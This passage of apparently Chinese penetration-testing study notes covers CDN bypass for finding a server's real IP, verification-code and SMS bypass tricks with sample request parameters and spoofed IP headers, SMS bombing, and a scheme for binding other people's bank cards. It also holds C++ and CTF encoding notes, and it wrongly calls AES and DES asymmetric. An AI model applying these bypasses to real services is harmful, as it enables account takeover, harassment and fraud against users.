Network,即内容分发网络。\n使用户可就近取得所需内容,解决Internet网络拥挤的状况,提高用户访问网站的响应速度。\n关键技术主要有内容存储和分发技术\n传统访问:用户访问域名→解析服务器IP→访问目标主机\n普通CDN:用户访问域名→CDN节点→真实服务器IP→访问目标主机\n带WAF的CDN:用户访问域名→CDN节点(WAF)→真实服务器IP→访问目标主机\n\n判定标准:nslookup、各地ping\n绕过漏洞&遗留文件\nphpinfo.php探针\n其中_SERVER[“SERVER_ADDR”]有主机信息\n(服务器有多个网卡,获取到的可能是内网IP地址)\n\nSSRF漏洞(不止这个漏洞)\n服务器IP地址1开启web服务来记录日志\n网址1有一个SSRF漏洞(会接受用户的数据并利用服务器去请求)\n漏洞去请求地址1\n日志就会记录访问的IP→相当于访问的服务器IP,得到真实IP\n\nping或请求网站时,自己请求的,所以访问的是CDN节点(正向)\n对方自己的服务器去请求设置的资源,所以是真实IP(反向)\n\n只要漏洞有带有让服务器去请求你设置的资源,就满足条件(XXE、命令执行反弹shell等)\n\n历史DNS记录\nhttps://dnsdb.io/zh-cn/https://x.threatbook.cn/http://toolbar.netcraft.com/site_report?url=http://viewdns.info/http://www.17ce.com/https://community.riskiq.com/http://www.crimeflare.com/cfssl.html\n\n子域名查询操作可能会加速www但未加速其他子域名\nOneForAll子域名挖掘\nsubDomainsBrute\nSublist3r\n接口查询国外访问小众国家可能不会设置对应的CDN\n国外CDN测试\n查找网站ip(可以互相验证,不一定确定对)\n主动邮件配合备案邮件主动发给你(反向)\n邮件-显示原文-“Received: from”\n全网扫描FuckCDNFuckCDN\n\n找到真实ip后hosts绑定真实ip,后续安全测试即可全部指向真实ip\n{示例ip} {对应域名}\n\n\n\nWindows:C:\\Windows\\System32\\drivers\\etc\\hosts\nLinux:/etc/hosts\n\n\n通过信息收集,缩小扫描范围,确定一个相对小的IP和端口范围(中国?AS号?B段?等)\n通过http指纹特征和keyword等做综合判断。可使用工具如下:\nhttps://github.com/zmap/zgrab/http://www.ipdeny.com/ipblocks/\n\n\nzgrab是基于zmap无状态扫描的应用层扫描器,可以自定义数据包,以及ip、domain之间的关联。可用于快速指纹识别爆破等场景。\n利用Zgrab绕CDN找真实IP - Levy Hsu\n\nZmap大法\n简单获取CDN背后网站的真实IP - 安全客 - 有思想的安全新媒体\n\n\n查询Https证书https://censys.io/\n\n这个网址会将互联网所有的ip进行扫面和连接,以及证书探测。若目标站点有https证书,并且默认虚拟主机配了https证书,我们就可以找所有目标站点是该https证书的站点。\n443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:www.xxx.com\n\n","tags":["小迪"]},{"title":"05PHP个人博客","url":"/2024/04/14/05PHP%E4%B8%AA%E4%BA%BA%E5%8D%9A%E5%AE%A2/","content":"文件操作&上传&下载&删除&读取&写入等\n文件上传类:任意文件上传\n\n\n代码自主编写\n编辑器引用\n\n\n文件下载类:任意文件下载\n\n\n直连URL访问\n传参头部修改\n\n\n文件删除类:任意文件删除\n\n\n文件删除\n文件夹删除\n\n\n文件内容操作类:任意文件读取&写入\n\n\n文件读取\n文件写入\n\n\n文件包含——任意文件包含\n\n\n本地文件包含\n远程文件包含\n\n\nWeb漏洞核心\n\n\n可控变量\n特定函数\n\n==站在开发角度看问题→漏洞==\n输入输出类&留言板&访问IP&UA头来源\nPHP-全局变量$_SERVER\nMySQL-插入语法INSERT\n输入输出-XSS&反射&存储\n安全问题-XSS跨站&CSRF等\n\n通过userAgent判断设备信息 userAgent常用大全const ua = window.navigator.userAgent || window.navigator.vendor || window.opera// 是否为智能设备export const IS_SMART_DEVICE = (/iPhone|iPod|iPad|Silk|Android|BlackBerry|Opera Mini|IEMobile/).test(ua)// 是否为 IOS 浏览器export const IS_IOS_BROWSER = (/iPhone|iPod|iPad/).test(ua)// 是否为 Android 浏览器export const IS_ANDROID_BROWSER = (/Android/).test(ua)// PC浏览器, 非智能设备export const IS_NOT_SMART_DEVICE = !IS_SMART_DEVICE// 微信内export const IS_WECHAT_APP = (/MicroMessenger/).test(ua)// APP 内置浏览器 这个是我们跟客服端定义的一个字段 因为有些页面要作为webview嵌套 客户端那边可以在userAgent后面添加参数 可扩展性比较高 也可以加上当前APP版本号export const IS_APP_WEBVIEW = (/Enjoyrv/).test(ua)// iPhone 内置浏览器export const IS_IOS_APP = IS_APP_WEBVIEW && (/iPhone|iPod|iPad/).test(ua)// Android 内置浏览器export const IS_ANDROID_APP = IS_APP_WEBVIEW && (/Android/).test(ua) && (/Enjoyrv/).test(ua)// 智能设备, 但非APP内置浏览器export const IS_SMART_DEVICE_BROWSER_ONLY = IS_SMART_DEVICE && !IS_APP_WEBVIEW// 访问设备来源export const getDeviceType = function () { if (IS_IOS_APP) { return 'APP_IOS' } if (IS_ANDROID_APP) { return 'APP_ANDROID' } if (IS_WECHAT_APP && IS_ANDROID_BROWSER) { return 'WECHAT_APP_ANDROID' } if (IS_WECHAT_APP && IS_IOS_BROWSER) { return 'WECHAT_APP_IOS' } if (IS_NOT_SMART_DEVICE) { return 'PC_BROWSER' } if (IS_IOS_BROWSER) { return 'IOS_BROWSER' } if (IS_ANDROID_BROWSER) { return 'ANDROID_BROWSER' } if (IS_SMART_DEVICE) { return 'UNKNOWN_SMART_DEVICE' } return ''}\n\n登录验证&Cookie&Session&验证码安全\nCookie:存储到客户端浏览器内\n\nCookie修改、伪造、盗取\n\nSession:存储到服务端服务器内\n\n会话劫持(Session劫持)\n验证码\n验证码可爆破\n\n对于验证码位数4-6且没有次数限制和时间限制,或者时间过程我们均可进行验证码的爆破\n\n爆破后根据长度回显来判断哪一个验证码是正确的\n\n验证码回显\n\n验证码存在于请求包或响应包里\n\n\n==验证码复用==\n\n使用的验证码没有进行销毁处理,能够一直使用\n\nburp右键发送到repeater模块,两次点击go观察返回包若回显信息一样则证明可复用\n从安全角度讲,每次登录验证码都要变\n\n每次登录验证码都变化的情况可以使用验证码识别插件\n\n可以写在一些安全的修复方法上,这也是能够得到一定的认可的\n\n验证码可控\n\n验证长度或内容可以被我们进行修改\n\nphone=18888888888&code=6phone=18888888888&code=zyzm\n\n例如上图抓包前面是电话号码,后面code=6,将6改为4,我们可以收到4位数验证码\n或此处就是它的验证码,可以将这里进行修改,修改为别的接着发送,我们就能收到什么样的验证码\n\n修改返回包\n\n验证只在本地验证,通过修改返回包进行绕过\n\nfalse改为success、true,400改为200,0改为1或-1\n\n双写导致验证码转发\n\n加个逗号后面接上需要转发的手机号,因为开发可能使用数组就导致同时把验证码发给两个手机号\nmobi=18888888888,17777777777mobi=18888888888&mobi=17777777777\n\n\n随意验证码\n\n填写任意满足位数需求的验证码都能完成登录\n原因:有验证码功能模块,但验证模块与业务功能没有什么关联性,即无论输入什么或者不输入验证码都判断验证码安全\n\n万能验证码\n\n由于开发的失误,上线测试时设置了万能验证码方便登录调试,但上线后却没有进行删除导致万能验证码的存在\n\n验证码可以使用0000/8888/000000/888888等一系列便于记忆的相同数字进行尝试\n\n验证码为空\n\n将验证码字段修改为空或者null,即可进行绕过\nmobil=18888888888&code=mobil=18888888888&code=nullmobil=18888888888&code=truemobil=18888888888&code=1\n\n\n绑定关系存在缺陷\n\n只验证了验证码,没有做账号绑定\n\nmobil=18888888888 收到验证码mobil=19999999999 收到验证码123456mobil=18888888888&code=123456\n\n\n特殊字符绕过\n\n手机号码前后加空格,86,086,0086,+86,0,00,/r,/n以及特殊符号等\n或者在手机号码最后多添加一位数字,因为12位经过短信网关取前11位,导致短信轰炸\nmobi=8618888888888mobi= 18888888888 mobi=0018888888888mobi=/r18888888888\n\n\n特殊的绕过点\n\n有些验证码是通过cookie中的PHPSESSID来判断的\n修改PHPSESSID,成功绕过了验证码限制\n\n此处说验证码必须存在,但是修改PHPSESSID后\n\n可绕过验证码的判定,从而实现账号密码的枚举\n\nip的伪造绕过\n\n程序只对访问者的错误次数与ip进行绑定,通过XXF伪造ip从而进行绕过限制\nX-Forwarded-For:127.0.0.1X-Remote-IP:127.0.0.1X-Client-IP:127.0.0.1X-Real-IP:127.0.0.1Client-IP:127.0.0.1X-Originating-IP:127.0.0.1X-Remote-Addr;127.0.0.1 \n\n\n删除Cookie绕过\n\n虽然有验证码,但是只要抓包后把Cookie去掉即可,之后就再也没有验证码提示\n\n\n并发验证码\n\n通过并发验证码请求数据包,导致可以短时间内收到大量短信,从而实现短信轰炸\n\n验证码DOS\n\n原理:图形验证码的生成大多都基于复杂的图像生成算法,本来就很消耗CPU、GPU性能,此时攻击者再把尺寸增大,就会成倍消耗性能,如果大到一定程度再结合高并发,服务器很有可能瞬间崩溃,也就造成了DOS攻击,修改数据包验证码的长宽,如果响应字节变大则存在该漏洞\n接口:https://www.xxx.com/xxx?width=162&height=162\n\n如果没有参数可以自己添加尝试\nheight=1111h=1111size=1111margin=1111\n\n\n不仅仅是验证码可以出现,该漏洞二维码也是可以的\n\n\n \n\n时间戳绕过\n\n很多发送验证码的时候都会出现类似time参数,对于这类参数大多都是使用时间戳来验证,只需将时间提前即可绕过,比如抓到的包时间是08:09,直接改为08:20,它会比时间戳多出一两个数字\n时间戳在线转换地址\n\n\n验证码前端验证\n\n验证码的检测是由前端进行的,可以通过禁用js的方式从而实现绕过\n验证码由客户端js生成并且仅仅在客户端用js验证,通过抓包看是否有验证码字段,或者是关闭js看能否通过验证\n\n验证码后端验证\n\n端验证码是由后端生成的验证码。当用户打开登录页面后,浏览器会向服务器发送请求并携带生成的令牌token,服务器随机生成验证码并将验证码和token对应关系存储在Redis缓存中,之后会在前端动态的生成一张验证码图片。当用户输入验证码并点击登录的时候,服务器会在Redis缓存中找到该浏览器的token对应的验证码,验证验证码是否正确,如果正确,接下来开始比较用户名和密码\n\n可看到回显数据包中也有一个336\n\n比如这是第一次验证码的返回包是336,下次验证码请求时336仍会出现在这里。所以只需要获取上一次验证码的值,然后拼接在这一次的值中可实现账号密码的爆破\n\n语音轰炸\n\n通过不断重放数据包或并发该数据包,从而实现语音轰炸\n\n补充并发轰炸:同时并发数据包,若存在限制,留意返回时间,采用单线程,调节间断时间,并发发包\n存在检测:若网页存在检测无法抓包,可以换手机抓包进行绕过,接着将数据包发送给电脑进行测试\n邮箱绕过:比如email=xxx@qq.com,当次数达到限制时,将字母修改为大写:email=XXX@Qq.com,即可绕过\n思路拓展:任意盗刷别人银行卡\n仅在绑卡时知道卡号,然后把手机号替换成自己的号码去接收验证码,再去绑定别人的卡,小额致富不需要知道银行卡密码,只需要自己设置的密码就行(参考vx支付的时候使用银行卡)\n\n抓包替换手机号1.银行卡=123456&手机号=123****45672.银行卡=123456&手机号=12345678910抓包替换银行卡1.银行卡=123456&手机号=123****45671.银行卡=789987&手机号=123****4567\n\n拓展情境:\n\n输入卡号后会显示预留的电话号码,让输入正确的电话号码后同意协议并验证,此时输入任意一个号码,会提示号码前三位和后四位,爆破中间的四位,成功后可让别人的银行卡绑定在自己的账号上面\nJS-Ajax&前端逻辑&购物&登录&上传\nJS前端验证-文件上传\nJS-Ajax传递-登录-状态\nJS-Ajax传递-购物-参数\n\nTP框架&路由访问&安全写法&历史漏洞\n框架\nThinkPHP\nLaravel\nyii\n\n\n\nThinkPHP-URL访问形式与对应文件首页会指向application/index/controller/Index.php\nThinkPHP5.0典型URL访问规则是\nhttp://127.0.0.1/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/\n\nStruggle.php(.\\application\\index\\controller)<?phpnamespace app\\index\\controller;use think\\Controller;use think\\Db;class Struggle extends Controller{ public function x(){ echo "成功访问Struggle!"; }}\n\n1.http://127.0.0.1/index.php/index/struggle/x2.http://127.0.0.1/index.php?s=index/struggle/x3.http://127.0.0.1/index.php/index/struggle/x.html(具体要看配置)4.http://127.0.0.1/index.php?m=index&c=index&a=index(3.x的写法)(MVC开发:m代表model,v代表view,c代表controller,a代表方法名)---成功访问Struggle!\n\n\nStruggle.php(.\\application\\index\\controller)<?phpnamespace app\\index\\controller;use think\\Controller;use think\\Db;class Struggle extends Controller{ public function x(){ echo "成功访问Struggle!"; } public function y(){ //1 $x=$_GET['x']; echo $x; //2 $x=input('x'); echo $x; }}\n\n1:http://127.0.0.1/index.php/index/struggle/y?x=12:http://127.0.0.1/index.php/index/struggle/y/x/1\n\n application中创建yes文件夹,复制application的index中的public到yes\nLove.php(.\\application\\yes\\controller)<?phpnamespace app\\yes\\controller;use think\\Controller;use think\\Db;class Love extends Controller{ public function x(){ echo "成功访问Struggle!"; } public function xxx(){ $x=input('x'); echo $x; }}\n\nhttp://127.0.0.1/index.php/yes/love/xxx?x=1\n\n\nThinkPHP5配置文件\n\n.\\application\\config.php.\\application\\database.php.\\thinkphp\\tpl\\base.php//看TP版本\n\n\n实例\n\nAdminLTE后台管理系统\nlayui后台管理系统\nthinkcmf\nH-ui.admin后台管理系统\ntpshop\nFastAdmin\neyoucms\nLarryCMS后台管理系统\ntpadmin后台管理系统\nsnake后台管理系统\nThinkSNS\nDolphinPHP后台管理系统\nThinkSNS\nDolphinPHP后台管理系统\nWeMall商城系统\nCLTPHP\n齐博CMS\nDSMALL\nYFCMF\nHisiPHP后台管理系统\nTplay后台管理系统\nlyadmin后台管理系统\nhaoid后台管理系统\n\n用的框架找漏洞\n\n看写法\n看历史漏洞\n\n\ngithub.com/Mochazz/ThinkPHP-VulnTP历史漏洞坤舆-seebug-thinkphp\n","tags":["小迪"]},{"title":"C++","url":"/2024/04/14/C++/","content":"黑马|C++\n字符字符型char ch='a'\n\n字符串C风格:\nchar str[]="hello"\n\nC++风格:\n#include <string>string str="hello"\n\n※分文件编写\n创建后缀名为.h的头文件\n创建后缀名为.cpp的源文件\n头文件中写函数的声明\n源文件中写函数的定义\n\n//swap.h头文件#include<iostream>using namespace std;//函数声明void swap(int a , int b);\n\n//swap.cpp文件#include"swap.h"void swap(int a , int b){\t...}\n\n//main.cpp文件#include"swap.h"int main(){\t...}\n\n指针在32位操作系统下占用4个字节,64位下占用8个字节(和数据类型无关!)\n空指针指针变量指向内存中编号为0的空间\n\n用途:初始化指针变量\n注意:空指针指向的内存不可访问!\n\nint * p = NULL;\n\n内存编号为0~255为系统占用内存,不允许用户访问\n野指针指针变量指向非法的内存空间\nint * p = (int *)0×1100;\n\nconst修饰指针三种情况:\nint a=10;int b=10;\n\n\n修饰指针—常量指针\n\n特点:指针指向可修改,但指针指向的值不可修改\nconst int *p=&a;\n\n*p=20;//×*p=&b;//√(指向可以改)\n\n\n修饰常量—指针常量(常指针)\n\n特点:指针指向不可修改,指向的值可修改\nint * const p=&a;\n\n*p=20;//√*p=&b;//×\n\n\n既修饰指针,又修饰常量\n\n特点:指针指向和指向的值都不可修改\nconst int * const p=&a;\n\n*p=20;//×*p=&b;//×\n\n\n技巧:看const右侧紧跟着的是指针还是常量,是指针就是常量指针,是常量就是指针常量\n\n结构体==用户自定义的数据类型==,允许存储不同的数据类型\n定义&使用语法:struct 结构体名 { 结构体成员列表 };\n通过结构体创建变量的三种方式:\n\nstruct 结构体名 变量名\nstruct 结构体名 变量名={成员1值,成员2值…}\n定义结构体时顺便创建变量\n\n\n定义结构体变量时关键字struct不可省略\n创建结构体变量时关键字struct可省略\n\nstruct student { ... }int main(){ (struct) student stu1={ ... };}\n\n结构体数组将自定义的结构体放到数组中,方便维护\n语法:struct 结构体名 数组名[元素个数]={ {},{},… {}}\nstruct student arr[3]={ {"张三",18,80}, { ... }, { ... }}\n\n给数组中的元素赋值\narr[2].name="赵六";\n\n结构体指针通过指针访问结构体中的成员\n\n利用操作符->可以通过结构体指针访问结构体属性\n\nstruct student s={ };struct *p=&s;cout<<"姓名:"<<p->name<<endl;\n\n内存分区模型\nC++中在程序运行前分为全局区和代码区\n代码区的特点是共享和只读\n全局区中存放全局变量、静态变量、常量\n常量区中存放const修饰的全局常量和字符串常量\n\nnew在堆区创建整形数据\nnew返回的是该数据类型的指针\n引用语法:数据类型 &别名 = 原名\n\n注意事项:\n\n引用必须初始化,且初始化后不可改变\n\n\n引用做函数参数作用:函数传参时可利用引用的技术让形参修饰实参\n优点:简化指针修改实参\n//三种交换值方法:值传递、地址传递、引用传递void swap(int &a,int &b){ int temp=a; a=b; b=temp;}int main(){ int a=10; int b=20; swap(a,b); cout<<"a:"<<a<<"b:"<<b<<endl; return 0;}//a=20,b=10\n\n\n通过引用参数产生的效果同地址传递是一样的。引用语法更清楚简单。\n\n*引用做函数返回值引用可作为函数的返回值存在\n不要返回局部变量的引用\n函数的调用可作为左值\nint& test(){ static int a=10; return a;}int main(){ int &ref=test(); cout<<"ref:"<<ref<<endl; test()=100 cout<<"赋值后ref:"<<ref<<endl;}//ref=10//ref=100\n\n如果函数的返回值是引用,这个函数调用可作为左值\n函数函数默认参数C++中函数才形参列表中形参是可以有默认值的\n语法:返回值类型 函数名(参数=默认值){}\n\n注意事项\n\n若某个位置已有默认参数,那么从该位置往后,从左到右都必须有默认值\n\n函数声明和实现只能有一个默认参数\n\n\n\n函数占位参数C++中函数形参列表里可以有占位参数,用来做占位,调用函数时必须填补该位置\n语法:返回值类型 函数名(数据类型){}\n//函数占位参数,占位参数也可有默认参数void fun(int a,int){}int main(){ fun(10,10);//占位参数必须填补}\n\n※函数重载满足条件:\n\n同一作用域下\n函数名称相同\n函数参数类型不同 或者个数不同 或者顺序不同\n\n注意事项\n函数的返回值不可以作为函数重载的条件\n\nvoid fun(int a,int b){}int fun(int a,int b){}//×,两者仅返回值(int/void)不同\n\n\n引用作为重载条件\n\nvoid fun(int &a){}void fun(const int &a){}int main(){ int a=10; fun(a);//调用无const版本 fun(10);//调用有const}\n\n\n函数重载避免默认参数\n\n类和对象\n\n\n权限\n访问权限\n\n\n\n公共权限public\n类内可以访问 类外可以访问\n\n\n保护权限protected\n类内可以访问 类外不可访问 子类可以访问父类中的保护内容\n\n\n私有权限private\n类内可以访问 类外不可访问 子类不可访问父类中的保护内容\n\n\n构造函数&析构函数构造函数语法:类名(){}\n\n无返回值 也不写void\n函数名称与类名相同\n可以有参数,即可以发生重载\n程序调用对象时自动调用构造,无需手动调用,且只会调用一次\n\n析构函数语法:~类名(){}\n\n无返回值 也不写void\n不可以有参数,因此不可发生重载\n\n构造函数的分类及调用分类两种分类方式:\n\n按参数分:有参构造 无参构造(默认构造)\n按类型分:普通构造 拷贝构造\n\n//拷贝构造函数Person(const Person &p){}\n\n调用三种调用方式:\n\n括号法\n显示法\n隐式转换法\n\nvoid test(){ //括号法 Person p1;//默认构造函数调用[不要加()!编译器会认为是一个函数的声明] Person p2(10);//有参构造函数 Person p3(p2); //显示法 Person p1; Person p2=Person(10);//有参构造 Person p2=Person(p2);//拷贝构造 //隐式转换法 Person p4=10;//相当于Person p4=Person(10); Person p4=p4;//拷贝构造}\n\n\nPerson(10);//匿名对象,特点:当前执行结束后,系统会立即回收掉匿名对象\n注意:不要利用拷贝构造函数,初始化匿名对象,编译器会认为Person(p3) === Person p3//对象的声明\n\n拷贝构造函数调用时机\n使用一个已经创建完毕的对象来初始化一个对象\n值传递的方式给函数参数传值\n以值的方式返回局部对象\n\n构造函数调用规则默认情况下,C++编译器至少给一个类添加3个函数\n\n默认构造函数(无参,函数体为空)\n默认析构函数(无参,函数体为空)\n默认拷贝析构函数,对属性进行值拷贝\n\n调用规则:\n\n若用户定义有参构造函数,C++不再提供默认无参构造,但会提供默认拷贝构造\n若用户定义拷贝构造函数,C++不再提供其他构造函数\n\n※深拷贝与浅拷贝\n面试经典问题,常见的一个坑\n\n浅拷贝:简单的赋值拷贝操作\n深拷贝:在堆区重新申请空间,进行拷贝操作\n浅拷贝带来的问题:堆区的内存重复释放(利用深拷贝解决\n总结:若属性有在堆区开辟的,一定要自己提供拷贝构造函数,防止浅拷贝带来的问题\n初始化列表Person(int a,int b,int c):a(a),b(b),c(c){ ... }int main(){Person p;}\n\n类对象作为类成员当其他类对象作为本类成员(对象成员),先调用对象成员的构造,再调用本类的构造,析构的顺序与构造相反\n静态成员在成员变量和成员函数前加上关键字static\n静态成员变量\n所有对象共享同一份数据\n在编译阶段分配内存\n类内声明,类外初始化\n\nclass person{public: static int a;};int person::a=1;\n\n静态成员变量不属于某个对象上,所有对象都共享同一份数据\n因此静态成员变量有两种访问方式\n\n通过对象进行访问\n\nperson p;cout<<p.a<<endl;\n\n\n通过类名进行访问\n\ncout<<person::a<<endl;\n\n\n有访问权限,私有权限访问不到\n\n静态成员函数\n所有对象共享同一个函数\n静态成员函数==只能==访问静态成员变量\n\n同上有两种访问方式,且有访问权限\n空对象占用内存空间为:1\n\nC++编译器会给每个空对象分配一个字节空间,是为了区分空对象占内存的位置\n\nthis指针本质:指针常量\n指向被调用的成员函数所属的对象\n是隐含每一个非静态成员函数内的一种指针\n用途:\n\n当形参和成员变量同名时,可用this指针来区分\n在类的非静态成员函数中返回对象本身,可使用return *this\n\nconst修饰成员函数常函数\n成员函数后加const后我们称为这个函数为常函数\n常函数内不可以修改成员属性\n成员属性声明时加关键字mutable后,在常函数中依然可以修改\n\n常对象\n声明对象前加const称该对象为常对象\n常对象只能调用常函数\n\n排序算法冒泡排序\n比较相邻的元素,若前一个比后一个大,交换他们两个\n对每对相邻元素做同样工作,执行完毕后找出第一个最大值\n重复以上步骤,每次比较次数-1,直到无需比较\n\n\n外层循环:排序总轮数=元素个数-1\n内层循环:每轮对比数=元素个数-排序轮数-1\n\n杂项\n数组个数计算方法:\n\nsizeof(arr)/sizeof(arr[0])-1\n\n\n随机数生成\n\n#include<ctime>//添加随机数种子(利用当前系统时间生成随机数,防止每次随机数都一样)srand((unsighed int)time(NULL));int num=rand()%100//生成0~99随机数\n\nvisual studio中Ctrl+D快速复制当前一行\n值传递时,函数形参发生改变,并不会影响实参\n","tags":["技术栈"]},{"title":"CTF常见编码","url":"/2024/04/14/CTF%E5%B8%B8%E8%A7%81%E7%BC%96%E7%A0%81/","content":"补充计算机中的数据都是按字节存储。一个字节(Byte)由8个二进制位组成(bit)。(组成范围是0~255(2^8^)) 一个字节一共可以用来表示256种不同的状态,每一个状态对应一个符号,就是256个符号,从00000000到11111111。\nASCII编码ASCII 码是对英语字符与二进制位之间的关系,做了统一规定。基本的 ASCII 字符集共有 128 个字符,其中有 96 个可打印字符,包括常用的字母、数字、标点符号等。如:\n空格SPACE 是32(二进制:00100000);数字0是48(二进制:00110000);大写字母A是65(二进制:01000001)\n另外还有 32 个控制字符(不能打印出来)\n这128个符号,只占用了一个字节的后面7位,最前面的一位统一规定为0。\n特征:只含有数字\n\n0-9:49-57\nA-Z:65-90\na-z:97-122\n\n明文:hello,world.十六进制:0x680x650x6c0x6c0x6f0xff0c0x770x6f0x720x6c0x640x2e十进制:1041011081081112551211911111410810046二进制:011010000110010101101100011011000110111100101100011101110110111101110010011011000110010000101110\n\n解码链接1\n解码链接2\nASCII码对照表\n\n\nBase家族编码\nbase16/base32/base64/base58/base85/base100\n\nBase16编码是将二进制文件转换成由(0-9、A-F)16个字符组成的文本\nBase32编码由(A-Z、2-7)32个可见字符构成,”=”符号用作后缀填充。\nBase36的密文由(A-Z、0-9)36个字符组成,加密仅支持整数数字,解密仅支持字符串,不支持中文 \nBase64的编码表是由(A-Z、a-z、0-9、+、/)64个可见字符构成,“=”符号用作后缀填充。\nBase58的编码表相比base64少了数字0,大写字母I,O,小写字母 l (这个是L),以及符号‘+’和‘/’\nBase91的密文由91个字符(0-9,a-z,A-Z,!#$%&()*+,./:;<=>?@[]^_`{|}~”)组成\nBase100编码/解码工具(又名:Emoji表情符号编码/解码),可将文本内容编码为Emoji表情符号;同时也可以将编码后的Emoji表情符号内容解码为文本。 \n明文:hello,world.123456base16: 68656C6C6F2C776F726C642E313233343635特征:大写字母(A-Z)和数字(0-9),不用‘=’补齐,且数字要多于字母。\n\nbase32: NBSWY3DPFR3W64TMMQXDCMRTGQ3DK===特征:大写字母(A-Z)和数字(2-7),不满5的倍数,用‘=’补齐。\n\nbase58: 2smDFYXWKE8vc8XA8dadEYcSqcQb特征:相比Base64,Base58不使用数字"0",字母大写"O",字母大写"I",和字母小写"l",以及"+"和"/"符号,最主要的是后面不会出现'='。\n\nbase64: aGVsbG8sd29ybGQuMTIzNDY1特征:大小写字母(A-Z,a-z)和数字(0-9)以及特殊字符‘+’,‘/’,不满3的倍数,用‘=’补齐。\n\nbase85: BOu!rDst>tGAhM<A1fSl1GgsI特征:特点是奇怪的字符比较多,但是很难出现等号\n\nbase91: TPwJh>go2Tv!_,aRA2IbLmA特征:由91个字符(0-9,a-z,A-Z,!#$%&()*+,./:;<=>?@[]^_`{|}~”)组成不支持中文。\n\nbase100: 👟👜👣👣👦📦💳💃👮👦👩👣👛🐥🐨🐩🐪🐫🐬🐭特征:就是一堆Emoji表情\n\nbase16 / base32 / base64\nbase58\nbase85\nbase91\nbase100\nMD5、SHA1、HMAC、NTLM等类似加密型MD5一般MD5值是32位由数字”0-9”和字母”a-f”所组成的字符串,字母大小写统一。如果出现这个范围以外的字符说明这可能是个错误的md5值,就没必要再拿去解密了。\n\n也有可能是MD5&Salt(discuz)\nmd5(md5(password).salt)\nsalt是一个随机的6位字符串,保存在ucenter_members表中。该表和common_member表中都存有password字段,需要注意的是,这两个表中的password字段的值是不一样的,用户在做登录的时候,实际上判断的是ucenter_members表中的密码字段,common_member表中的密码字段是没有意义的,可以任意更改。\n在通过其它途径需要往论坛添加可登录用户的时候,只需要向ucenter_members表中插入数据即可登录,然后登录的时候系统会让该帐号激活,激活成功后即可登录。如果在两张表中都有插入数据的话,用户登录的时候就不需要激活,直接登录。(建议只在一张表中插入数据,激活的时候让系统自动往common_member表中插数据,避免手动插入的数据错乱。)\n\n16位值是取的是8~24位。\n特征:\n有固定长度,一般是32位或者16位\n由数字“0-9”和字母“a-f”组成\n明文:hello,world.123456md5(hello,world.123456,32) = 5189503aae1b1c0a6fbf7ea9e3128ab0md5(hello,world.123456,16) = ae1b1c0a6fbf7ea9\n\nMD5解密1\nMD5解密2\nSHA1SHA1是一种密码散列函数,SHA1可以生成一个被称为消息摘要的160位,20字节的散列值,散列值通常的呈现形式为40位十六进制数。这种加密和MD5类似。\n特征:\n有固定长度,为40位的字符串\n明文:hello,world.123456sha1(hello,world.123456)= 0179303b8f08fbc3d16cd23a4be5828790e12375\n\nSHA1加解密1\nSHA1加解密2\nHMAC简述:\nHMAC(Hash-based Message Authentication Code)常用于接口签名验证,这种算法就是在前两种加密的基础上引入了秘钥,而秘钥又只有传输双方才知道,所以基本上是破解不了的。\n特征:\n和MD5类似,但是有秘钥。\nHAMC加解密\nNTLM这种加密是Windows的哈希密码,是Windows NT早期版本的标准安全协议。与它相同的还有Domain Cached Credentials(域哈希)。\nNTML加解密\n类似加密穷举\n\n\n#\n算法\n长度\n\n\n\n1\nmd5\n32/16\n\n\n2\nsha1\n40\n\n\n3\nsha256\n64\n\n\n4\nsha512\n128\n\n\n5\nadler32\n8\n\n\n6\ncrc32\n8\n\n\n7\ncrc32b\n8\n\n\n8\nfnv132\n8\n\n\n9\nfnv164\n16\n\n\n10\nfnv1a32\n8\n\n\n11\nfnv1a64\n16\n\n\n12\ngost\n64\n\n\n13\ngost-crypto\n64\n\n\n14\nhaval128,3\n32\n\n\n15\nhaval128,4\n32\n\n\n16\nhaval128,5\n32\n\n\n17\nhaval160,3\n40\n\n\n18\nhaval160,4\n40\n\n\n19\nhaval160,5\n40\n\n\n20\nhaval192,3\n48\n\n\n21\nhaval192,4\n48\n\n\n22\nhaval192,5\n48\n\n\n23\nhaval224,3\n56\n\n\n24\nhaval224,4\n56\n\n\n25\nhaval224,5\n56\n\n\n26\nhaval256,3\n64\n\n\n27\nhaval256,4\n64\n\n\n28\nhaval256,5\n64\n\n\n29\njoaat\n8\n\n\n30\nmd2\n32\n\n\n31\nmd4\n32\n\n\n32\nripemd128\n32\n\n\n33\nripemd160\n40\n\n\n34\nripemd256\n64\n\n\n35\nripemd320\n80\n\n\n36\nsha224\n56\n\n\n37\nsha3-224\n56\n\n\n38\nsha3-256\n64\n\n\n39\nsha3-384\n96\n\n\n40\nsha3-512\n128\n\n\n41\nsha384\n96\n\n\n42\nsha512/224\n56\n\n\n43\nsha512/256\n64\n\n\n44\nsnefru\n64\n\n\n45\nsnefru256\n64\n\n\n46\ntiger128,3\n32\n\n\n47\ntiger128,4\n32\n\n\n48\ntiger160,3\n40\n\n\n49\ntiger160,4\n40\n\n\n50\ntiger192,3\n48\n\n\n51\ntiger192,4\n48\n\n\n52\nwhirlpool\n128\n\n\n53\nmysql\n老MYSQL数据库用的,16位,且第1位和第7位必须为0-8\n\n\n54\nmysql5\n40\n\n\n55\nNTLM\n32\n\n\n56\nDomain Cached Credentials\n32\n\n\n埃特巴什码一种古老的加密技术,属于简单替换密码的范畴。其基本原理是,在字母表中,每一个字母都被替换为其在字母表中的对称字母。\n埃特巴什码在线解密\nAES、DES、RC4、Rabbit、3DES型加密简述:\n以上都是非对称性加密算法,就是引入了密钥,密文特征与Base64类似。\n非对称加密\nRabbit加密开头部分通常为U2FsdGVkX\n\nUnicode编码Unicode(统一码、万国码、单一码)是一种在计算机上使用的字符编码。\n它用两个字节来编码一个字符,字符编码一般用十六进制来表示。\n明文:hello,world.&#x [hex]:&#x0068;&#x0065;&#x006C;&#x006C;&#x006F;&#xFF0C;&#x0077;&#x006F;&#x0072;&#x006C;&#x0064;&#x002E;&# [hex]:&#00104;&#00101;&#00108;&#00108;&#00111;&#65292;&#00119;&#00111;&#00114;&#00108;&#00100;&#00046;\\u [hex]:\\U0068\\U0065\\U006C\\U006C\\U006F\\U002C\\U0077\\U006F\\U0072\\U006C\\U0064\\U002E\\u+ 